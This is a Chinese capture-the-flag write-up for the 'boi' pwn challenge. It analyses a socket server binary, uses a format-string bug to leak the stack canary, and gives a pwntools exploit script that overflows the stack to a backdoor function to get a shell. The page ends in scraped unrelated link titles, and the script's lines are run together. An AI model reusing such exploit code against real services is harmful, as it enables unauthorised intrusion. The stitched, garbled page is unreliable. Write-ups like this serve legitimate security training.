Boi

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

看似很复杂,我们发现这是一个服务器程序,并且一开始要发送特殊指令,才能显示出菜单

套接字初始化,绑定了本地端口0x539也就是1337

这里是接收指令

Unpack是将网络字节序转为本机字节序,如x86的小端

因此,我们一开始,为了显示出菜单,需要这样

  1. sh.sendline('zhaohai')
  2. #发送这个,才能显示出菜单
  3. sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')

然后,我们看到菜单的功能6,存在栈溢出

这里有后门函数

那么,我们只要泄漏canary,就可以溢出了

功能1存在一个格式化字符串漏洞,参数正式功能6里输入的v3,因此,我们可以利用格式化字符串漏洞来泄漏canary

综上,我们的exp脚本

#coding:utf8
from pwn import *getshell0 = 0x405524
sh = remote('127.0.0.1','1337')#sh = remote('111.198.29.45',55316)def create():sh.sendlineafter('Your Choice :','1')sh.sendlineafter('size:','256')sh.sendlineafter('rabbit info :','a')def show():sh.sendlineafter('Your Choice :','4')sh.sendlineafter('idx:','0')sh.sendline('zhaohai')
#发送这个,才能显示出菜单
sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')#格式化字符串漏洞泄露canary
payload = 'S%12$p'
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)create()
show()
sh.recvuntil('S')
canary = int(sh.recvuntil('\n',drop = True),16)
print 'canary=',hex(canary)
payload = 'a'*0x8 + p64(canary) + p64(0) + p64(getshell0)
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)
#getshell
sh.sendlineafter('Your Choice :','5')sh.interactive()

这里是接收指令

攻防世界PWN之boi题解相关推荐

  1. 攻防世界PWN之house_of_grey题解

    house_of_grey 首先,检查一下程序的保护机制,发现保护全开 然后,我们用IDA分析一下 发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取 程序有个缓冲区溢出漏洞 可以溢 ...

  2. 攻防世界PWN之cnss题解

    Cnss 首先,我们检查一下程序的保护机制 然后,我们用IDA分析一下,发现是一个服务器程序,每接收到连接请求后就会fork一个子进程来处理. 代码太长,看似很复杂 我们发现eval函数存在栈溢出,并 ...

  3. realloc函数UAF利用|攻防世界pwn进阶区supermarket

    文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  6. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  7. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  8. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  9. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

最新文章

  1. VUE 动态绑定class
  2. 案例开发分析 || ​​​​​​​Scheduler组件
  3. 2021暑假实习-SSM超市积分管理系统-day04笔记
  4. C语言:--位域和内存对齐
  5. CATIA中使用约束时提示“创建的约束是临时的。若希望使他成为永久约束,则需要在单击确定按钮之前激活约束开关。”
  6. 计算机专业需要汇编语言,重点大学计算机专业系列教材·汇编语言程序设计
  7. 指针、引用以及const限定符、constexpr限定符
  8. Gentle.NET 使用文档
  9. 全攻略:大病医疗专项附加扣除,一文集全了
  10. 滴滴否认上海团队解散;雄安超前布局 5G;小米拆分独立品牌 | 极客头条
  11. win10浏览器html设置字体大小设置,edge字体大小设置?win10 edge浏览器字体设置技巧...
  12. 学ps还是html,photoshop哪个版本好用?初学PS用哪个版本好?
  13. MySQL官方提供的日志分析工具_MySQL 日志分析的几款工具-Fun言
  14. 网线为什么又叫做双绞线?UTP STP FTP SFTP之间的区别?
  15. 特殊字符ascii码
  16. (八) 爬虫教程 |Scrapy框架的使用
  17. 打印万年历的c语言程序,C语言打印万年历
  18. 浅谈:支付结算系统的重要性
  19. Mac打不开网页的解决方法
  20. HTML情人节表白代码,给女朋友的电子情书代码,女朋友表白代码

热门文章

  1. 出租车计价器的测试用例
  2. windows程序设计(第2版 王艳平)学习记要:3.2 线程同步
  3. Java面试题汇总大全(重点)
  4. _WIN32_WINNT最新定义
  5. 人工智能在绘画方面傻瓜相机_傻瓜智能合约
  6. 深入理解数据结构之树
  7. 飘窗到底实不实用?是留着还是砸了?
  8. 20220513-rk3568编译linux4.19的buildroot4-(rootrs)
  9. 楼市低迷 看地方政府如何挽救财政
  10. 正大国际琪貨纯手:“恒指期货”怎么交易?